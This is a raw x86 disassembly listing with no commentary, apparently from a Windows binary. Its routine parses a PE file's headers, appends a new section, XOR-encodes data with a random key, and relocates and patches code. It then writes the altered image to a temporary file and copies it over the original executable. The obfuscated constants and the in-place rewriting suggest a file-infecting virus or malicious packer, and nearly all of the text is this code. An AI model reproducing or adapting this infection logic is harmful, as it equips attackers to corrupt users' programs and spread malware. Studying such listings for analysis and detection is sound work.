		lea	eax, [ebp+var_31EC7]
		mov	[ebp+var_42C], eax
		mov	eax, [eax+3Ch]
		mov	[ebp+var_84C], eax
		add	eax, [ebp+var_42C]
		mov	[ebp+var_848], eax
		cmp	[ebp+var_1180],	0
		jnz	loc_4416EE
		mov	eax, [ebp+var_8]
		mov	[ebp+var_31F08], eax
		mov	edx, dword_44A1AC
		sub	edx, 5
		cmp	[eax+0D0h], edx
		jz	loc_4416EE
		mov	edx, [eax+0D4h]
		mov	[ebp+var_31F0C], edx
		mov	ecx, dword_44A11C
		movsx	edi, word_44A218
		add	ecx, edi
		sub	ecx, 0Ah
		cmp	edx, ecx
		jz	loc_4416EE
		mov	ecx, 28h
		mov	edi, [ebp+var_840]
		add	edi, 0F8h
		mov	eax, ecx
		mov	edx, [ebp+var_31F08]
		movzx	edx, word ptr [edx+6]
		mov	[ebp+var_31F10], edx
		mul	edx
		mov	[ebp+var_31F14], eax
		mov	edx, edi
		add	edx, eax
		mov	[ebp+var_31F1C], edx
		mov	eax, ecx
		mov	[ebp+var_31F18], eax
		mov	ecx, dword_44A138
		add	ecx, 4
		mul	ecx
		mov	[ebp+var_31F20], eax
		mov	eax, [ebp+var_31F1C]
		mov	edx, [ebp+var_31F20]
		add	eax, edx
		mov	edx, [ebp+var_31F0C]
		add	eax, edx
		mov	edx, [ebp+var_31F08]
		cmp	[edx+54h], eax
		jbe	loc_4416EE
		mov	eax, [ebp+var_840]
		add	eax, 0F8h
		mov	[ebp+var_31F2C], eax
		mov	eax, 28h
		mov	ecx, [ebp+var_8]
		movzx	ecx, word ptr [ecx+6]
		mul	ecx
		mov	[ebp+var_31F30], eax
		mov	eax, [ebp+var_31F2C]
		mov	edx, [ebp+var_31F30]
		add	eax, edx
		mov	[ebp+var_31F24], eax
		mov	[ebp+var_31F34], eax
		mov	eax, 28h
		mov	ecx, [ebp+var_848]
		movzx	ecx, word ptr [ecx+6]
		mov	edi, dword_44A1E4
		add	edi, dword_44A224
		sub	edi, 7
		sub	ecx, edi
		mul	ecx
		mov	[ebp+var_31F38], eax
		mov	eax, [ebp+var_31F34]
		mov	edx, [ebp+var_31F38]
		add	eax, edx
		mov	[ebp+var_31F28], eax
		mov	eax, [ebp+var_8]
		push	dword ptr [eax+0D4h]
		mov	eax, [ebp+var_4]
		mov	edx, [ebp+var_31F24]
		add	edx, eax
		push	edx
		mov	edx, [ebp+var_31F28]
		add	edx, eax
		push	edx
		call	ds:dword_448638
		add	esp, 0Ch
		mov	eax, [ebp+var_8]
		add	eax, 0D0h
		mov	[ebp+var_31F3C], eax
		mov	eax, 28h
		mov	ecx, [ebp+var_848]
		movzx	ecx, word ptr [ecx+6]
		mov	edi, dword_44A140
		sub	edi, 7
		sub	ecx, edi
		mul	ecx
		mov	[ebp+var_31F40], eax
		mov	eax, [ebp+var_31F3C]
		mov	edx, eax
		mov	ecx, [ebp+var_31F40]
		add	[edx], ecx


loc_4416EE:				; CODE XREF: sub_440F46+609j
					; sub_440F46+627j ...
		mov	eax, [ebp+var_8]
		push	dword ptr [eax+3Ch]
		push	[ebp+var_10]
		call	sub_43CC87
		mov	[ebp+var_10], eax
		mov	eax, 28h
		mov	ecx, [ebp+var_8]
		movzx	ecx, word ptr [ecx+6]
		mul	ecx
		mov	[ebp+var_31F24], eax
		mov	eax, [ebp+var_840]
		mov	edx, [ebp+var_4]
		lea	eax, [eax+edx+0F8h]
		mov	edx, [ebp+var_31F24]
		mov	esi, edx
		add	esi, eax
		push	offset dword_44A81C
		call	sub_43C507
		push	eax
		push	esi
		call	ds:dword_4461F4
		mov	eax, dword_44A234
		add	eax, 1FFFCh
		mov	[esi+8], eax
		mov	eax, [ebp+var_20]
		mov	[esi+0Ch], eax
		mov	eax, [ebp+var_8]
		push	dword ptr [eax+3Ch]
		mov	eax, [ebp+arg_8]
		add	eax, 0Dh
		push	eax
		call	sub_43CC87
		mov	[esi+10h], eax
		mov	eax, [ebp+var_10]
		mov	[esi+14h], eax
		mov	eax, dword_44A204
		add	eax, 0C000003Fh
		mov	[esi+24h], eax
		movsx	eax, word_44A144
		mov	edx, dword_44A278
		lea	eax, [eax+edx+4]
		push	eax
		mov	eax, dword_44A210
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		sub	eax, 2
		push	eax
		mov	eax, esi
		add	eax, 18h
		push	eax
		call	ds:dword_448644
		mov	eax, [ebp+var_20]
		mov	[ebp+var_1060],	eax
		mov	eax, [ebp+var_10]
		mov	[ebp+var_850], eax
		mov	eax, [ebp+var_8]
		push	dword ptr [eax+3Ch]
		mov	eax, [ebp+var_10]
		add	eax, [esi+10h]
		push	eax
		call	sub_43CC87
		add	esp, 30h
		mov	[ebp+var_10], eax
		movsx	eax, word_44A208
		add	eax, 1FFFBh
		add	[ebp+var_20], eax
		mov	eax, [ebp+var_8]
		add	eax, 6
		inc	word ptr [eax]
		mov	eax, [ebp+var_8]
		mov	edx, [esi+0Ch]
		add	edx, [esi+8]
		mov	[eax+50h], edx
		call	ds:dword_449BAC
		mov	edi, dword_44A164
		sub	edi, 3
		mov	ecx, 0FDh
		cdq
		idiv	ecx
		add	edi, edx
		mov	[ebp+var_1064],	edi
		mov	eax, dword_44A248
		mov	edx, [ebp+var_42C]
		mov	ecx, edi
		xor	ecx, 4Dh
		mov	[edx+eax], cl
		movsx	edi, word_44A130
		movsx	edx, word_44A0C0
		add	edi, edx
		sub	edi, 4
		mov	edx, [ebp+var_42C]
		mov	ecx, [ebp+arg_8]
		shr	ecx, 9
		mov	[edx+edi], cl
		call	ds:dword_449BAC
		mov	edi, [ebp+var_84C]
		mov	edx, [ebp+var_42C]
		mov	[ebp+var_31F2C], edx
		mov	[ebp+var_31F28], eax
		mov	ecx, 0FFh
		cdq
		idiv	ecx
		mov	ecx, [ebp+var_31F2C]
		mov	[ecx+edi], dl
		call	ds:dword_449BAC
		movsx	edx, word_44A260
		add	edx, dword_44A21C
		sub	edx, 9
		add	edi, edx
		mov	edx, [ebp+var_42C]
		mov	[ebp+var_31F34], edx
		mov	[ebp+var_31F30], eax
		mov	ecx, 0FFh
		cdq
		idiv	ecx
		mov	ecx, [ebp+var_31F34]
		mov	[ecx+edi], dl
		mov	eax, dword_44A0B4
		add	eax, 34h
		movsx	edx, word_44A178
		add	eax, edx
		mov	[ebp+var_43C], eax
		jmp	short loc_441901
; ---------------------------------------------------------------------------


loc_4418CC:				; CODE XREF: sub_440F46+9C7j
		call	ds:dword_449BAC
		mov	edi, [ebp+var_43C]
		mov	edx, [ebp+var_42C]
		mov	[ebp+var_31F3C], edx
		mov	[ebp+var_31F38], eax
		mov	ecx, 0FFh
		cdq
		idiv	ecx
		mov	ecx, [ebp+var_31F3C]
		mov	[ecx+edi], dl
		inc	[ebp+var_43C]


loc_441901:				; CODE XREF: sub_440F46+984j
		mov	eax, [ebp+var_84C]
		cmp	[ebp+var_43C], eax
		jb	short loc_4418CC
		cmp	[ebp+var_1180],	0
		jz	short loc_441990
		mov	eax, [ebp+var_8]
		mov	edx, [eax+34h]
		add	edx, [eax+28h]
		mov	eax, dword_44A17C
		movsx	ecx, word_44A1FC
		add	eax, ecx
		sub	eax, 3
		add	edx, eax
		mov	[ebp+var_31F40], edx
		mov	eax, [ebp+var_850]
		add	eax, dword_44A25C
		mov	edx, [ebp+var_4]
		mov	eax, [edx+eax]
		mov	[ebp+var_31F44], eax
		movsx	edx, word_44A250
		mov	ecx, dword_44A0DC
		lea	edx, [edx+ecx-5]
		sub	eax, edx
		add	eax, [ebp+var_31F40]
		movsx	edx, word_44A100
		add	edx, dword_44A1A8
		dec	edx
		add	eax, edx
		mov	[ebp+var_31F48], eax
		mov	eax, [ebp+var_8]
		mov	edx, [ebp+var_31F48]
		sub	edx, [eax+34h]
		mov	[eax+28h], edx


loc_441990:				; CODE XREF: sub_440F46+9D0j
		push	0Dh
		push	offset dword_44A2C0
		lea	eax, [ebp+var_31ED4]
		push	eax
		call	ds:dword_448638
		mov	eax, [esi+10h]
		add	eax, 0Dh
		push	eax
		lea	eax, [ebp+var_31ED4]
		push	eax
		mov	eax, [esi+14h]
		add	eax, [ebp+var_4]
		push	eax
		call	ds:dword_448638
		add	esp, 18h
		mov	eax, [esi+14h]
		add	eax, 0Dh
		mov	[ebp+var_1068],	eax
		movsx	edx, word_44A218
		sub	edx, 3
		add	eax, edx
		mov	[ebp+var_424], eax
		jmp	short loc_4419FC
; ---------------------------------------------------------------------------


loc_4419E2:				; CODE XREF: sub_440F46+AC5j
		mov	eax, [ebp+var_424]
		add	eax, [ebp+var_4]
		movzx	edx, byte ptr [eax]
		xor	edx, [ebp+var_1064]
		mov	[eax], dl
		inc	[ebp+var_424]


loc_4419FC:				; CODE XREF: sub_440F46+A9Aj
		mov	eax, [ebp+var_1068]
		add	eax, [ebp+arg_8]
		cmp	[ebp+var_424], eax
		jb	short loc_4419E2
		mov	eax, dword_44A1EC
		sub	eax, 8
		mov	[ebp+var_18], eax
		mov	eax, dword_44A1E8
		dec	eax
		mov	[ebp+var_440], eax
		jmp	loc_441C6A
; ---------------------------------------------------------------------------


loc_441A29:				; CODE XREF: sub_440F46+D34j
		mov	eax, 28h
		mul	[ebp+var_440]
		mov	[ebp+var_31F44], eax
		mov	eax, [ebp+var_84C]
		mov	edx, [ebp+var_42C]
		lea	eax, [eax+edx+0F8h]
		mov	edx, [ebp+var_31F44]
		mov	ebx, edx
		add	ebx, eax
		mov	eax, 28h
		mov	ecx, [ebp+var_8]
		movzx	ecx, word ptr [ecx+6]
		mul	ecx
		mov	[ebp+var_31F48], eax
		mov	eax, [ebp+var_840]
		mov	edx, [ebp+var_4]
		lea	eax, [eax+edx+0F8h]
		mov	edx, [ebp+var_31F48]
		mov	esi, edx
		add	esi, eax
		mov	eax, dword_44A184
		add	eax, dword_44A094
		sub	eax, 8
		cmp	byte ptr [ebx+eax], 2Eh
		jnz	short loc_441AC1
		mov	eax, dword_44A228
		sub	eax, 2
		cmp	byte ptr [ebx+eax], 72h
		jnz	short loc_441AC1
		mov	eax, dword_44A1CC
		dec	eax
		cmp	byte ptr [ebx+eax], 63h
		jnz	short loc_441AC1
		mov	eax, [ebx+14h]
		mov	[ebp+var_1178],	eax
		jmp	loc_441C64
; ---------------------------------------------------------------------------


loc_441AC1:				; CODE XREF: sub_440F46+B51j
					; sub_440F46+B5Fj ...
		mov	eax, dword_44A0D4
		movsx	edx, word_44A1FC
		add	eax, edx
		sub	eax, 0Bh
		cmp	byte ptr [ebx+eax], 2Eh
		jnz	short loc_441B19
		movsx	eax, word_44A118
		add	eax, dword_44A17C
		sub	eax, 7
		cmp	byte ptr [ebx+eax], 65h
		jnz	short loc_441B19
		mov	eax, dword_44A0AC
		add	eax, dword_44A26C
		sub	eax, 5
		cmp	byte ptr [ebx+eax], 61h
		jnz	short loc_441B19
		mov	eax, [ebx+14h]
		mov	[ebp+var_117C],	eax
		mov	eax, [ebx+0Ch]
		mov	[ebp+var_1184],	eax
		jmp	loc_441C64
; ---------------------------------------------------------------------------


loc_441B19:				; CODE XREF: sub_440F46+B90j
					; sub_440F46+BA6j ...
		mov	eax, dword_44A094
		mov	edx, eax
		sub	edx, 6
		cmp	byte ptr [ebx+edx], 2Eh
		jnz	short loc_441B4A
		movsx	edx, word_44A218
		sub	edx, 4
		cmp	byte ptr [ebx+edx], 69h
		jnz	short loc_441B4A
		add	eax, dword_44A188
		dec	eax
		cmp	byte ptr [ebx+eax], 61h
		jz	loc_441C64


loc_441B4A:				; CODE XREF: sub_440F46+BE1j
					; sub_440F46+BF1j
		push	ebx
		push	esi
		call	ds:dword_4461F4
		mov	eax, [ebx+8]
		mov	[esi+8], eax
		mov	eax, [ebp+var_20]
		mov	[esi+0Ch], eax
		mov	eax, [ebx+10h]
		mov	[esi+10h], eax
		mov	eax, [ebp+var_10]
		mov	[esi+14h], eax
		mov	eax, [ebx+24h]
		mov	[esi+24h], eax
		mov	eax, dword_44A280
		add	eax, 8
		push	eax
		mov	eax, dword_44A198
		sub	eax, 2
		push	eax
		mov	eax, esi
		add	eax, 18h
		push	eax
		call	ds:dword_448644
		mov	edi, [ebp+var_18]
		mov	edx, [ebx+0Ch]
		mov	[ebp+edi*4+var_420], edx
		mov	edx, [ebx+8]
		mov	[ebp+edi*4+var_83C], edx
		mov	edx, [esi+0Ch]
		mov	[ebp+edi*4+var_C4C], edx
		mov	edx, [esi+14h]
		mov	[ebp+edi*4+var_1050], edx
		inc	[ebp+var_18]
		mov	eax, [ebx+10h]
		add	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		mov	[ebp+var_31F40], eax
		mov	eax, [ebp+var_8]
		push	dword ptr [eax+3Ch]
		push	[ebp+var_10]
		call	sub_43CC87
		add	esp, 1Ch
		mov	[ebp+var_10], eax
		mov	eax, dword_44A0B8
		sub	eax, 2
		cmp	byte ptr [ebx+eax], 64h
		jnz	short loc_441C0D
		mov	eax, [ebp+var_31F40]
		cmp	[ebp+var_10], eax
		jbe	short loc_441C0D
		mov	ecx, [ebp+var_10]
		sub	ecx, eax
		mov	[ebp+var_31F4C], ecx
		mov	eax, ecx
		add	[esi+8], eax
		mov	eax, ecx
		add	[esi+10h], eax


loc_441C0D:				; CODE XREF: sub_440F46+CA5j
					; sub_440F46+CB0j
		movsx	eax, word_44A250
		movsx	edx, word_44A180
		lea	eax, [eax+edx+0FFBh]
		push	eax
		mov	eax, [ebp+var_20]
		add	eax, [ebx+8]
		push	eax
		call	sub_43CC87
		mov	[ebp+var_20], eax
		mov	eax, [ebp+var_8]
		add	eax, 6
		inc	word ptr [eax]
		mov	eax, [ebp+var_8]
		mov	edx, [esi+0Ch]
		add	edx, [ebx+8]
		mov	[eax+50h], edx
		push	dword ptr [esi+10h]
		mov	eax, [ebx+14h]
		add	eax, [ebp+var_42C]
		push	eax
		mov	eax, [esi+14h]
		add	eax, [ebp+var_4]
		push	eax
		call	ds:dword_448638
		add	esp, 14h


loc_441C64:				; CODE XREF: sub_440F46+B76j
					; sub_440F46+BCEj ...
		inc	[ebp+var_440]


loc_441C6A:				; CODE XREF: sub_440F46+ADEj
		mov	eax, [ebp+var_848]
		movzx	eax, word ptr [eax+6]
		cmp	[ebp+var_440], eax
		jb	loc_441A29
		mov	eax, [ebp+var_1178]
		add	eax, [ebp+var_42C]
		mov	[ebp+var_14], eax


loc_441C8F:				; CODE XREF: sub_440F46+F90j
		mov	eax, dword_44A134
		movsx	edx, word_44A150
		add	eax, edx
		sub	eax, 10h
		mov	[ebp+var_1C], eax
		jmp	short loc_441D01
; ---------------------------------------------------------------------------


loc_441CA5:				; CODE XREF: sub_440F46+DC1j
		mov	edi, [ebp+var_1C]
		mov	edx, [ebp+var_14]
		mov	edx, [edx]
		cmp	[ebp+edi*4+var_420], edx
		jnz	short loc_441CC1
		mov	eax, [ebp+var_14]
		mov	eax, [eax]
		mov	[ebp+var_C50], eax


loc_441CC1:				; CODE XREF: sub_440F46+D6Ej
		mov	edi, [ebp+var_1C]
		shl	edi, 2
		mov	edx, [ebp+edi+var_420]
		add	edx, [ebp+edi+var_83C]
		mov	edi, [ebp+var_14]
		cmp	edx, [edi]
		jbe	short loc_441CFE
		mov	edi, [ebp+var_1C]
		mov	edi, [ebp+edi*4+var_1050]
		mov	[ebp+var_106C],	edi
		mov	edi, [ebp+var_1C]
		mov	edi, [ebp+edi*4+var_C4C]
		mov	[ebp+var_1054],	edi
		jmp	short loc_441D09
; ---------------------------------------------------------------------------


loc_441CFE:				; CODE XREF: sub_440F46+D94j
		inc	[ebp+var_1C]


loc_441D01:				; CODE XREF: sub_440F46+D5Dj
		mov	eax, [ebp+var_18]
		cmp	[ebp+var_1C], eax
		jb	short loc_441CA5


loc_441D09:				; CODE XREF: sub_440F46+DB6j
		mov	eax, dword_44A15C
		add	eax, dword_44A154
		sub	eax, 10h
		mov	[ebp+var_428], eax
		jmp	loc_441E9C
; ---------------------------------------------------------------------------


loc_441D22:				; CODE XREF: sub_440F46+F62j
		mov	eax, [ebp+var_428]
		mov	edx, dword_44A28C
		movsx	ecx, word_44A264
		add	edx, ecx
		sub	edx, 7
		add	eax, edx
		add	eax, [ebp+var_14]
		mov	[ebp+var_31F44], eax
		mov	ax, [eax]
		mov	word ptr [ebp+var_31F40], ax
		movzx	eax, word ptr [ebp+var_31F40]
		mov	edx, dword_44A224
		add	edx, dword_44A18C
		sub	edx, 5
		cmp	eax, edx
		jz	loc_441EAE
		movzx	edi, word ptr [ebp+var_31F40]
		movsx	edx, word_44A178
		mov	ecx, dword_44A1B0
		lea	ecx, [edx+ecx+1]
		sar	edi, cl
		mov	word ptr [ebp+var_31F48+2], di
		movzx	edi, word ptr [ebp+var_31F40]
		movsx	ecx, word_44A178
		shl	edi, cl
		mov	word ptr [ebp+var_31F40+2], di
		movzx	edi, word ptr [ebp+var_31F40+2]
		movsx	edx, word_44A0D8
		add	edx, dword_44A12C
		mov	ecx, edx
		sub	ecx, 6
		sar	edi, cl
		mov	word ptr [ebp+var_31F40+2], di
		movzx	eax, word ptr [ebp+var_31F40+2]
		movsx	edx, word_44A0B0
		sub	edx, 7
		cmp	eax, edx
		jnz	short loc_441DF6
		mov	eax, dword_44A18C
		add	eax, dword_44A0A0
		sub	eax, 4
		cmp	[ebp+var_428], eax
		jnz	loc_441EAE


loc_441DF6:				; CODE XREF: sub_440F46+E94j
		mov	eax, [ebp+var_848]
		mov	eax, [eax+34h]
		mov	edx, [ebp+var_14]
		add	eax, [edx]
		movzx	edx, word ptr [ebp+var_31F40+2]
		add	eax, edx
		mov	[ebp+var_31F4C], eax
		mov	eax, [ebp+var_8]
		mov	eax, [eax+34h]
		add	eax, [ebp+var_1054]
		mov	edx, [ebp+var_14]
		add	eax, [edx]
		sub	eax, [ebp+var_C50]
		movzx	edx, word ptr [ebp+var_31F40+2]
		add	eax, edx
		mov	[ebp+var_31F50], eax
		sub	eax, [ebp+var_31F4C]
		mov	[ebp+var_31F54], eax
		movzx	eax, word ptr [ebp+var_31F48+2]
		movsx	edx, word_44A1F0
		movsx	ecx, word_44A250
		add	edx, ecx
		dec	edx
		cmp	eax, edx
		jnz	short loc_441E8C
		mov	eax, [ebp+var_106C]
		mov	edx, [ebp+var_14]
		add	eax, [edx]
		sub	eax, [ebp+var_C50]
		movzx	edx, word ptr [ebp+var_31F40+2]
		add	eax, edx
		add	eax, [ebp+var_4]
		mov	[ebp+var_31F58], eax
		mov	edx, [ebp+var_31F54]
		add	[eax], edx


loc_441E8C:				; CODE XREF: sub_440F46+F19j
		movsx	eax, word_44A178
		sub	eax, 2
		add	[ebp+var_428], eax


loc_441E9C:				; CODE XREF: sub_440F46+DD7j
		mov	eax, [ebp+var_14]
		mov	eax, [eax+4]
		cmp	[ebp+var_428], eax
		jb	loc_441D22


loc_441EAE:				; CODE XREF: sub_440F46+E21j
					; sub_440F46+EAAj
		mov	eax, [ebp+var_14]
		mov	edx, [eax+4]
		add	edx, eax
		mov	[ebp+var_14], edx
		mov	eax, [ebp+var_848]
		mov	eax, [eax+0A4h]
		mov	edx, [ebp+var_1178]
		add	edx, [ebp+var_42C]
		add	eax, edx
		cmp	[ebp+var_14], eax
		jb	loc_441C8F
		mov	eax, [ebp+var_8]
		mov	ecx, [eax+28h]
		mov	[ebp+var_1188],	ecx
		mov	edx, [ebp+var_1060]
		mov	[eax+28h], edx
		cmp	[ebp+var_1180],	0
		jnz	short loc_441F19
		add	eax, 60h
		mov	edx, [ebp+var_848]
		mov	edx, [edx+60h]
		add	[eax], edx
		mov	eax, [ebp+var_8]
		add	eax, 68h
		mov	edx, [ebp+var_848]
		mov	edx, [edx+68h]
		add	[eax], edx


loc_441F19:				; CODE XREF: sub_440F46+FB2j
		mov	eax, [ebp+var_8]
		mov	edx, dword_44A09C
		add	edx, 4
		movsx	ecx, word_44A178
		add	edx, ecx
		mov	[eax+44h], dx
		mov	edx, dword_44A0EC
		add	edx, dword_44A0A8
		sub	edx, 2
		mov	[eax+1Ah], dl
		mov	edx, dword_44A1B8
		add	edx, dword_44A184
		sub	edx, 5
		mov	[eax+46h], dx
		mov	eax, [ebp+var_117C]
		add	eax, [ebp+var_42C]
		mov	[ebp+var_31EE0], eax
		mov	eax, [ebp+var_117C]
		mov	edx, [ebp+var_31EE0]
		add	eax, [edx+1Ch]
		sub	eax, [ebp+var_1184]
		mov	[ebp+var_31EE4], eax
		add	eax, [ebp+var_42C]
		mov	[ebp+var_31EE8], eax
		mov	eax, [eax]
		mov	[ebp+var_1058],	eax
		mov	eax, dword_44A0DC
		sub	eax, 3
		mov	[ebp+var_24], eax
		jmp	short loc_441FE6
; ---------------------------------------------------------------------------


loc_441FA5:				; CODE XREF: sub_440F46+10A6j
		mov	edi, [ebp+var_24]
		shl	edi, 2
		mov	edx, [ebp+edi+var_420]
		add	edx, [ebp+edi+var_83C]
		cmp	edx, [ebp+var_1058]
		jbe	short loc_441FE3
		mov	edi, [ebp+var_24]
		mov	edi, [ebp+edi*4+var_420]
		mov	[ebp+var_118C],	edi
		mov	edi, [ebp+var_24]
		mov	edi, [ebp+edi*4+var_C4C]
		mov	[ebp+var_1194],	edi
		jmp	short loc_441FEE
; ---------------------------------------------------------------------------


loc_441FE3:				; CODE XREF: sub_440F46+1079j
		inc	[ebp+var_24]


loc_441FE6:				; CODE XREF: sub_440F46+105Dj
		mov	eax, [ebp+var_18]
		cmp	[ebp+var_24], eax
		jb	short loc_441FA5


loc_441FEE:				; CODE XREF: sub_440F46+109Bj
		mov	eax, [ebp+var_8]
		mov	eax, [eax+34h]
		add	eax, [ebp+var_1194]
		add	eax, [ebp+var_1058]
		sub	eax, [ebp+var_118C]
		mov	[ebp+var_1190],	eax
		mov	eax, [ebp+var_848]
		mov	eax, [eax+34h]
		add	eax, [ebp+var_1058]
		mov	[ebp+var_1058],	eax
		mov	eax, [ebp+var_850]
		mov	[ebp+var_C], eax
		jmp	loc_4422F4
; ---------------------------------------------------------------------------


loc_44202F:				; CODE XREF: sub_440F46+13BAj
		mov	eax, [ebp+var_C]
		mov	edx, [ebp+var_4]
		mov	[ebp+var_31F40], edx
		movzx	ecx, byte ptr [edx+eax]
		mov	edi, dword_44A26C
		add	edi, 0E0h
		cmp	ecx, edi
		jnz	loc_442187
		mov	ecx, dword_44A1E8
		mov	edi, eax
		add	edi, ecx
		movzx	ecx, byte ptr [edx+edi]
		movsx	edi, word_44A170
		add	edi, dword_44A1D0
		sub	edi, 9
		cmp	ecx, edi
		jnz	loc_442187
		movsx	ecx, word_44A0B0
		sub	ecx, 5
		mov	edi, eax
		add	edi, ecx
		movzx	ecx, byte ptr [edx+edi]
		mov	edi, dword_44A090
		movsx	edx, word_44A174
		add	edi, edx
		mov	edx, edi
		sub	edx, 0Ah
		cmp	ecx, edx
		jnz	loc_442187
		mov	edx, dword_44A1E8
		add	edx, 2
		mov	ecx, eax
		add	ecx, edx
		mov	edx, [ebp+var_31F40]
		movzx	edx, byte ptr [edx+ecx]
		movsx	ecx, word_44A264
		movsx	edi, word_44A230
		add	ecx, edi
		sub	ecx, 0Fh
		cmp	edx, ecx
		jnz	loc_442187
		movsx	edx, word_44A100
		inc	edx
		add	eax, edx
		mov	edx, [ebp+var_31F40]
		movzx	eax, byte ptr [edx+eax]
		movsx	edx, word_44A260
		sub	edx, 2
		cmp	eax, edx
		jnz	loc_442187
		mov	eax, [ebp+var_8]
		mov	eax, [eax+34h]
		add	eax, [ebp+var_1060]
		mov	edx, [ebp+var_C]
		sub	edx, [ebp+var_850]
		add	eax, edx
		mov	[ebp+var_31F44], eax
		mov	eax, [ebp+var_8]
		mov	eax, [eax+34h]
		add	eax, [ebp+var_1188]
		mov	[ebp+var_31F48], eax
		movsx	eax, word_44A180
		add	eax, 0FFFFFFFBh
		sub	eax, [ebp+var_31F44]
		add	eax, [ebp+var_31F48]
		mov	edx, dword_44A274
		inc	edx
		movsx	ecx, word_44A0C0
		add	edx, ecx
		sub	eax, edx
		mov	[ebp+var_31F4C], eax
		movsx	edi, word_44A0C0
		movsx	edx, word_44A150
		add	edi, edx
		mov	edx, [ebp+var_C]
		mov	ecx, dword_44A238
		inc	ecx
		add	ecx, dword_44A0C8
		add	edx, ecx
		add	edx, [ebp+var_4]
		mov	ecx, eax
		mov	[edx+edi*4-28h], ecx


loc_442187:				; CODE XREF: sub_440F46+1107j
					; sub_440F46+112Dj ...
		mov	eax, [ebp+var_C]
		mov	edx, [ebp+var_4]
		mov	[ebp+var_31F44], edx
		movzx	ecx, byte ptr [edx+eax]
		movsx	edi, word_44A1E0
		mov	edx, dword_44A128
		lea	edx, [edi+edx+0DCh]
		cmp	ecx, edx
		jnz	loc_4422F1
		mov	edx, dword_44A0A0
		sub	edx, 3
		mov	ecx, eax
		add	ecx, edx
		mov	edx, [ebp+var_31F44]
		movzx	edx, byte ptr [edx+ecx]
		movsx	ecx, word_44A24C
		sub	ecx, 9
		cmp	edx, ecx
		jnz	loc_4422F1
		mov	edx, dword_44A18C
		movsx	ecx, word_44A22C
		add	edx, ecx
		sub	edx, 5
		mov	ecx, eax
		add	ecx, edx
		mov	edx, [ebp+var_31F44]
		movzx	edx, byte ptr [edx+ecx]
		mov	ecx, dword_44A1E4
		movsx	edi, word_44A150
		add	ecx, edi
		sub	ecx, 0Ch
		cmp	edx, ecx
		jnz	loc_4422F1
		mov	edx, dword_44A210
		movsx	ecx, word_44A104
		add	ecx, edx
		sub	ecx, 6
		mov	edi, eax
		add	edi, ecx
		mov	ecx, [ebp+var_31F44]
		movzx	ecx, byte ptr [ecx+edi]
		mov	edi, dword_44A25C
		sub	edi, 8
		cmp	ecx, edi
		jnz	loc_4422F1
		movsx	ecx, word_44A250
		lea	edx, [edx+ecx+2]
		add	eax, edx
		mov	edx, [ebp+var_31F44]
		movzx	eax, byte ptr [edx+eax]
		movsx	edx, word_44A264
		add	edx, dword_44A17C
		sub	edx, 0Eh
		cmp	eax, edx
		jnz	short loc_4422F1
		mov	eax, [ebp+var_8]
		mov	eax, [eax+34h]
		add	eax, [ebp+var_1060]
		mov	edx, [ebp+var_C]
		sub	edx, [ebp+var_850]
		add	eax, edx
		mov	[ebp+var_31F48], eax
		mov	eax, [ebp+var_1190]
		mov	[ebp+var_31F4C], eax
		mov	eax, dword_44A1AC
		add	eax, 0FFFFFFFAh
		sub	eax, [ebp+var_31F48]
		add	eax, [ebp+var_31F4C]
		movsx	edx, word_44A178
		add	edx, dword_44A0A0
		sub	edx, 4
		sub	eax, edx
		mov	[ebp+var_31F50], eax
		movsx	edi, word_44A150
		add	edi, dword_44A09C
		mov	edx, [ebp+var_C]
		mov	ecx, dword_44A268
		add	ecx, dword_44A11C
		sub	ecx, 8
		add	edx, ecx
		add	edx, [ebp+var_4]
		mov	ecx, eax
		mov	[edx+edi*4-34h], ecx


loc_4422F1:				; CODE XREF: sub_440F46+1267j
					; sub_440F46+1290j ...
		inc	[ebp+var_C]


loc_4422F4:				; CODE XREF: sub_440F46+10E4j
		mov	eax, [ebp+var_850]
		add	eax, 0Dh
		cmp	[ebp+var_C], eax
		jb	loc_44202F
		push	[ebp+var_1070]
		call	ds:dword_448654	; CloseHandle
		push	[ebp+arg_0]
		lea	eax, [ebp+var_116F]
		push	eax
		call	ds:dword_4461F4
		add	esp, 8
		lea	ecx, [ebp+var_116F]
		or	eax, 0FFFFFFFFh


loc_44232E:				; CODE XREF: sub_440F46+13EDj
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_44232E
		mov	[ebp+var_31ED8], eax
		movsx	edx, word_44A0A4
		sub	edx, 3
		sub	eax, edx
		mov	[ebp+eax+var_116F], 69h
		mov	eax, [ebp+var_31ED8]
		mov	edx, dword_44A23C
		add	edx, dword_44A154
		sub	edx, 0Ah
		sub	eax, edx
		mov	[ebp+eax+var_116F], 76h
		mov	eax, [ebp+var_31ED8]
		movsx	edx, word_44A1FC
		movsx	ecx, word_44A218
		add	edx, ecx
		sub	edx, 9
		sub	eax, edx
		mov	[ebp+eax+var_116F], 72h
		push	0
		mov	eax, dword_44A0D4
		sub	eax, 6
		push	eax
		push	2
		push	0
		movsx	eax, word_44A1E0
		movsx	edx, word_44A1C0
		add	eax, edx
		sub	eax, 7
		push	eax
		push	40000000h
		lea	eax, [ebp+var_116F]
		push	eax
		call	ds:dword_449788	; CreateFileA
		mov	[ebp+var_1070],	eax
		push	0
		lea	eax, [ebp+var_31EDC]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_4]
		push	[ebp+var_1070]
		call	ds:dword_449B8C	; WriteFile
		push	[ebp+var_1070]
		call	ds:dword_448654	; CloseHandle
		push	[ebp+var_4]
		call	ds:dword_44661C	; LocalFree
		push	0
		push	[ebp+arg_0]
		lea	eax, [ebp+var_116F]
		push	eax
		call	ds:dword_447364	; CopyFileA
		lea	eax, [ebp+var_116F]
		push	eax
		call	ds:dword_444008	; DeleteFileA
		mov	eax, 1
		jmp	short loc_442439
; ---------------------------------------------------------------------------


loc_442422:				; CODE XREF: sub_440F46+C3j
					; sub_440F46+DDj ...
		push	[ebp+var_1070]
		call	ds:dword_448654	; CloseHandle
		push	[ebp+var_4]
		call	ds:dword_44661C	; LocalFree
		xor	eax, eax


loc_442439:				; CODE XREF: sub_440F46+5Fj
					; sub_440F46+14DAj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_440F46	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44243E	proc near		; CODE XREF: sub_43CE89+A8p
					; sub_43CE89+16Bp

var_1000C	= dword	ptr -1000Ch
var_10003	= byte ptr -10003h
var_FFFF	= byte ptr -0FFFFh
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
